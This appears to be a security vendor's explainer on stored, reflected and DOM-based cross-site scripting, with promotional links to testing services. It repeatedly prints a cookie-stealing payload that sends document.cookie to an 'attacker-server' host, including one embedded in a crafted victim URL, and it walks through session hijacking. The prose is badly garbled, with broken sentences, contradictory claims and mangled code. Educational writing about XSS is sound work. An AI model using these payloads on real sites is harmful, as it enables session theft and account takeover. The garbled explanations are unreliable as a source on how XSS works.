Payload Xss Exposed: Enhancing Your Understanding Of Web Vulnerabilities – Cross-Site Scripting (XSS) An overview of the three main types of Cross-Site Scripting (XSS) attacks, Reflected, Stored & DOM based.
Introduction This document provides an overview of the three main types of XSS attacks. A clear explanation with detailed diagrams explains how the attack occurs. Useful resource for web developers or web application security testing companies. Cross-site scripting, also known as XSS, is a client-side attack where code is injected into a victim’s browser or JavaScript into a web application and causes the victim to visit a malicious URL. is the. Or, by directly prompting the user to click on a link with a payload built into the URL. The three main types of cross-site scripting: display XSS, stored XSS and DOM-based XSS are documented below. Types of XSS Defined Stored XSS Stored XSS occurs when user-supplied input is stored and then interpreted in a web page. Common entry points for stored XSS include: message boards, blog comments, user profiles and username fields. An attacker typically exploits this vulnerability by injecting an XSS payload into popular pages on a website or forwarding a link to a victim, tricking them into viewing the page. The victim is redirected to the page and the client payload is executed in the victim’s web browser. Hosted XSS is also known as cross-site persistent scripting or persistent XSS. Stored XSS Attack: In the basic example diagram below, it is assumed that the attacker has already found a stored cross-site software in the target web application and has a means of spoofing or authenticating it. The victim visits the page with payload. Common Entry Points for Stored XSS Stored XSS requires user input to be stored in the application (persistent) and interpreted within the page. The following list shows some of the most common places where XSS vulnerabilities are hidden: Messages Forums Blogs Profile page Comments Administrative information Portals Looking for a manual security check? See our Penetration Testing Services page for more information. Common Attack Vectors for Embedded XSS An attacker can run JavaScript of their choice on the victim’s machine, so XSS can be used to implement multiple security vulnerabilities and/or combinations. Web vulnerabilities to exploit more serious security vulnerabilities. Browser Redirection Link Spacing Link Browsers – Beef (redirect vulnerable browsers to exploit) Cookie Stealing / Session HijackingKey Using XSS to steal login CSRF tokens using fake login patterns. nerable blog comment system to load XSSP on a popular page repeatedly by victims. The following XSS payload attempts to load an image from the attacker’s server along with the victim’s cookie data at the given URL. After requesting the image, the attacker can obtain the victim’s resident ID from the web server’s log files.var+img=new+image();img.src=”http://attacker-server/ ” + document .cookie;Saved XSS Cookie Stealth Diagram XSS Example Cookie Stealth Explained Attacker sends XSS payload to victim var+img=new+image();img.src =”http: //attacker- server /” + document.cookie;The victim requested the page from the server, either the attacker tricked the victim into going to the page or the XSS payload is in the popular page. The web server serves the page with XSS. Loading the victim’s web browser. The victim’s browser executes the JavaScript loading process and requests the attacker’s web server to upload an image containing the victim’s cookie data. The attacker already has the victim’s session ID which allows the attacker to take over the session. Reflected XSS is one of the three main types of XSS, which are: Reflected XSS, Stored XSS and DOM-based XSS. During a Reflected XSS attack the payload is not handled by the application and is only returned in the HTML response. Cross-site scripting capability allows malicious JavaScript payloads such as: alert(1) to enter user-supplied input, the payload is sent and returned to the web server As a response to and act on it. customer The victim’s web browser. The entire attack is accomplished with a single request and response, hence the name XSS. This is why it is sometimes called Type-II XSS because the entire attack is accomplished in one request and one response. To demonstrate XSS load testing for Reflected XSS (Server XSS) using a web server The following diagram shows the testing process for Reflected XSS. In the example below, a warning box will pop up, while exposed XSS can be used to further exploit the web application, see the session hijacking example below. Reflected XSS A common example of Reflected XSS requires user-supplied input to be reflected back on a web page, a common example is a contact form that takes user-supplied input and returns it to a response page. returns For example, a form that prints a person’s name after the form is submitted, with a message like “Thank you for your question $YourName, we’ll be in touch soon”. The attacker tries to get the payload in the form name input field in an attempt to provide the payload in the response. How can an attacker detect exported XSS? Session Exploitation Example It’s important to understand that XSS is more than just warnings, an alert box is only used for proof of concept testing. If an attacker can execute arbitrary JavaScript, then there are several options available depending on other vulnerabilities in the target environment. Session redirection is a good example that shows the potential magnitude of the XSS threat. Conditions Cookie used for session identifiers “HTTPonly” Not specified for session identifiers Insufficient login authentication / XSS reflection cleanup Description The attacker must deliver the payload to the victim. For example, it creates a payload inside your URL, like:http://victim-server?search=var+img=new+image();img.src=”http://attacker -server/” + document.cookie;
Payload Xss Exposed: Enhancing Your Understanding Of Web Vulnerabilities
The above payload attempts to open an image file that is not on a web server controlled by the attacker, + document.cookie; Display the victim’s cookie data at the end of the URL. The attacker extracts the victim’s cookie from the web server’s log files and uses the session ID (cookie) to log in as the victim. Step by Step: XSS Session Hijacking Example Techniques The attacker creates a payload in a URL (usually coded to hide it from the victim) The attacker delivers the payload to a victim. loginDOM XSS The basic XSS DOM is defined when an input (domain name) is checked by the user and its output (ie sink) is presented on the page. This allows an attacker to manipulate DOM objects within a page with payloads typically created in URLs. Vulnerable environments include improper handling and processing of the XSS payload, making it to the page. An attacker can use the Resource document.url, document.location or document.referrer elements to inject XSS payloads and render the resulting page. An important thing to remember with DOM base is that it is not processed by the web server, the victim only needs to click on a generated payload link and the payload details are managed by the client. The payload is never sent to the server, # or ? is not sent to the server, so server-side filtering and other filtering mechanisms such as Web Application Firewalls (WAF) or framework-specific XSS filter protections such as ASP.NET DOM avoid preventing DOM-based request validation Avoid XSS, as the payload remains and is killed. About the customer. Looking for a third-party mobile app security testing service for iOS and Android apps, see our mobile app security testing services page for more details. DOM-based XSS Attack – Step-by-step Below is the execution of a DOM-based XSS attack: Attacker discovers an XSS vulnerability Creates a DOM attacker payload and sends a URL to the victim (email, social media, i Email, SMS, etc.) Victim clicks on the URL Victims browser sends a request to the malicious website (Note: The request does not contain an XSS payload) The web server responds with a web page (Note: This response contains an XSS payload not loaded) The victim’s web browser generates a page with the attacker’s XSS payload. See our damage assessment service for more information. Cookie stealing is XSS in the DOM
Understanding And Preventing Cross Site Scripting Vulnerabilities (xss)
The attacker sends the above payload: The victim’s browser requests the attackers URL page – Note: The payload is not sent to the server, nothing? Not sent to the server, # can also be used instead of a letter ? The web server that holds the session uses DOM-based XSS (note:
